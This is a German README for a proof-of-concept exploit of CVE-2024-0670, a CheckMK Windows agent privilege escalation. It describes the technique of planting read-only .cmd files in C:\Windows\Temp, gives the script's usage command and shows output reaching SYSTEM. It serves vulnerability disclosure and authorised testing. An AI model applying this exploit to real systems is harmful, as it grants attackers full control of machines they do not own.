CVE-2024-0670 PoC

Dieses Repository enthält einen Proof-of-Concept (PoC)-Exploit für die Schwachstelle CVE-2024-0670, die den CheckMK-Agenten auf Windows-Systemen betrifft. Die Schwachstelle tritt auf, wenn der CheckMK-Agent temporäre Dateien im Verzeichnis C:\Windows\Temp erstellt und ausführt. Ein Angreifer kann dieses Verhalten ausnutzen, indem er bösartige Dateien mit Schreibschutz in diesem Verzeichnis vorab platziert. Wenn der Agent versucht, eine temporäre Datei zu erstellen, die bereits als schreibgeschützt existiert, kann er diese nicht überschreiben, führt aber dennoch die vorhandene Datei mit SYSTEM-Berechtigungen aus, was eine Privilegienausweitung ermöglicht.

Referenz des Sicherheitshinweises: SEC Consult – Lokale Privilegienausweitung über beschreibbare Dateien im Checkmk-Agenten

⚠️ HAFTUNGSAUSSCHLUSS

Dieses Projekt ist ausschließlich für Bildungs-, Forschungs- und autorisierte Sicherheitstestzwecke bestimmt.
Verwenden Sie diesen Code nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Der Autor übernimmt keine Haftung für Schäden oder Missbrauch.

Verwendung

evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"

Beispiel

evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
[+] Searching for Check MK installer... 
[+] Found: C:\Windows\Installer\1e6f2.msi
[+] Using command: whoami > C:\Windows\Temp\whoami.txt
[+] Preparing 18000 .cmd files...
[*] Progress: 0%
[*] Progress: 10%
[*] Progress: 20%
[*] Progress: 30%
[*] Progress: 40%
[*] Progress: 50%
[*] Progress: 60%
[*] Progress: 70%
[*] Progress: 80%
[*] Progress: 90%
[*] Progress: 100%
[+] Triggering MSI to execute command...
[+] Done
evil-winrm-py PS C:\Users\magicrc\Desktop> cat C:\Windows\Temp\whoami.txt
nt authority\system